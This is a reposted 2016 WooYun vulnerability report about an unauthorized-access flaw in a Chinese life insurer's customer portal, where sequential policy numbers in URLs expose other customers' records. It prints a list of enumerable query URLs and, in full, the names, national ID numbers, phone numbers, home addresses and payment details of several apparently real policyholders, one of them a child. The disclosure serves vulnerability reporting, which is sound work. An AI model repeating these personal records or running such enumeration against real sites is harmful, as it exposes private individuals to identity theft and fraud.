华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-04: 厂商已经确认,细节仅向厂商公开
2016-05-14: 细节向核心白帽子及相关领域专家公开
2016-05-24: 细节向普通白帽子公开
2016-06-03: 细节向实习白帽子公开
2016-06-18: 细节向公众公开

简要描述:

华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址)

详细说明:

http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350421088



捕获.GIF





这里直接未授权访问



code 区域
保单详细信息
保单号 2015137350421088 保单状态 有效
主附险标志 主险 险种名称 华夏财富一号两全保险C款(万能型,升级版)
保险期间 75岁 基本保额 0.00
期交保费 23000.00 已交费期数 1
是否自动续保 非自动续保





code 区域
投保人信息
投保人姓名 徐苑珍 性别 女
证件类型 居民身份证 证件号码 44142719530825032X
出生日期 1953-08-25 联系电话 13431080800
电子邮箱 邮政编码 510600
联系地址 中国广东省广州市白云区人和溪苑B7栋602







code 区域
被保人信息
与投保人关系 本人 被投保人姓名 徐苑珍
性别 女 出生日期 1953-08-25
证件类型 居民身份证 证件号码 44142719530825032X
联系电话 13431080800 电子邮箱
邮政编码 510600 联系地址 中国广东省广州市白云区人和溪苑B7栋602





由于ID未加密,经过分析修改即可查看任意其他人的保单信息



2015137350521088,ID未加密,依次类推逻辑



http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350521088



code 区域
被保人信息
与投保人关系 本人 被投保人姓名 王玉全
性别 男 出生日期 1954-07-14
证件类型 居民身份证 证件号码 41292419540714071X
联系电话 13949375962 电子邮箱
邮政编码 473000 联系地址 中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号







code 区域
投保人姓名 	王玉全 	性别 	男
证件类型 居民身份证 证件号码 41292419540714071X
出生日期 1954-07-14 联系电话 13949375962
电子邮箱 邮政编码 473000
联系地址 中国河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号







code 区域
保单号 	2015137350521088 	保单状态 	有效
主附险标志 主险 险种名称 华夏财富一号两全保险C款(万能型,升级版)
保险期间 75岁 基本保额 0.00
期交保费 15000.00 已交费期数 1
是否自动续保 非自动续保





http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350621088



捕获111.GIF







code 区域
与投保人关系 	女儿 	被投保人姓名 	左原
性别 女 出生日期 2009-07-15
证件类型 居民户口薄 证件号码 510603200907150989
联系电话 电子邮箱
邮政编码 618000 联系地址 中国四川省德阳市旌阳区南滨佳苑A区2-13-1







code 区域
受益人姓名 	左原 	性别 	女
证件号码 510603200907150989 证件类型 居民户口薄
固定电话 13981091993 出生日期 2009-07-15





code 区域
险种名称 	华夏金管家年金保险(万能型,C款) 	主副险标识 	1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 10000.00
下次交费日期 下次交费金额 0.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 10000.00
下次交费日期 下次交费金额 0.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 15000.00
下次交费日期 2016-11-21 下次交费金额 15000.00
应交日期 2015-11-20 实交日期 20151120
险种名称 华夏金管家年金保险(万能型,C款) 主副险标识 1
交费类型 首期收 交费方式 银行转账
应交金额 0.00 实交金额 0.00
已交保费次数 1 累计已交保费 15000.00
下次交费日期 2016-11-21 下次交费金额 15000.00
应交日期 2015-11-20 实交日期 20151120







code 区域
2015-11-21 	0 	首期缴费 	0.00 	0.00 	0.00 	
2015-11-21 0 生存金转入 4140.00 0.00 4140.00
2015-12-01 0.068 结算利息 7.47 0.00 4147.47
2016-01-01 0.068 结算利息 23.24 0.00 4170.71
2016-01-06 0 追加保费 10000.00 0.00 14170.71
2016-02-01 0.068 结算利息 70.15 0.00 14240.86
2016-03-01 0.068 结算利息 74.43 0.00 14315.29
2016-04-01 0.068 结算利息 79.99 0.00 14395.28







code 区域
http://eservice.hxlife.com/Policy/appntQuery.do?policyNo=2015137350622088







code 区域
投保人姓名 	谭国亮 	性别 	男
证件类型 居民身份证 证件号码 440111195312073612
出生日期 1953-12-07 联系电话 13433995699
电子邮箱 邮政编码 510286
联系地址 中国广东省广州市海珠区土华育贤左一巷19号







code 区域
与投保人关系 	本人 	被投保人姓名 	谭国亮
性别 男 出生日期 1953-12-07
证件类型 居民身份证 证件号码 440111195312073612
联系电话 13433995699 电子邮箱
邮政编码 510286 联系地址 中国广东省广州市海珠区土华育贤左一巷19号







code 区域
受益人姓名 	谭国亮 	性别 	男
证件号码 440111195312073612 证件类型 居民身份证
固定电话 13433995699 出生日期 1953-12-07







http://eservice.hxlife.com/Policy/shouyimanQuery.do?policyNo=2015137350623088





code 区域
投保人姓名 	黎敬民 	性别 	男
证件类型 居民身份证 证件号码 440111194707063617
出生日期 1947-07-06 联系电话 13622840945
电子邮箱 邮政编码 510320
联系地址 中国广东省广州市海珠区仑头启明坊六巷5号







code 区域
与投保人关系 	本人 	被投保人姓名 	黎敬民
性别 男 出生日期 1947-07-06
证件类型 居民身份证 证件号码 440111194707063617
联系电话 13622840945 电子邮箱
邮政编码 510320 联系地址 中国广东省广州市海珠区仑头启明坊六巷5号





code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624088







code 区域
保单号 	2015137350624088 	保单状态 	有效
主附险标志 主险 险种名称 华夏财富一号两全保险C款(万能型,升级版)
保险期间 75岁 基本保额 0.00
期交保费 200000.00 已交费期数 1
是否自动续保 非自动续保





code 区域
投保人姓名 	李国辉 	性别 	男
证件类型 居民身份证 证件号码 440111195406303618
出生日期 1954-06-30 联系电话 13922490868
电子邮箱 邮政编码 510300
联系地址 中国广东省广州市海珠区逸景翠园御景轩B栋2303





code 区域
与投保人关系 	本人 	被投保人姓名 	李国辉
性别 男 出生日期 1954-06-30
证件类型 居民身份证 证件号码 440111195406303618
联系电话 13922490868 电子邮箱
邮政编码 510300 联系地址 中国广东省广州市海珠区逸景翠园御景轩B栋2303





http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询上万用户订单088











漏洞证明:

 

code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询上万用户订单088





code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350625088







code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350626088







code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350627088







code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350628088







code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350629088







code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350630088





code 区域
http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350631088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350632088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350633088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350634088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350635088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350636088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350637088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350638088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350639088

http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350640088











修复方案:

 

版权声明:转载请注明来源 0x 80@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-05-04 08:01

厂商回复:

修复中

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:华夏人寿某站安全漏洞导致大量用户保单信息泄露(含保单号/投保人/被保人/身份证/联系电话/地址) - https://www.15qq.cn/wooyun/698.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知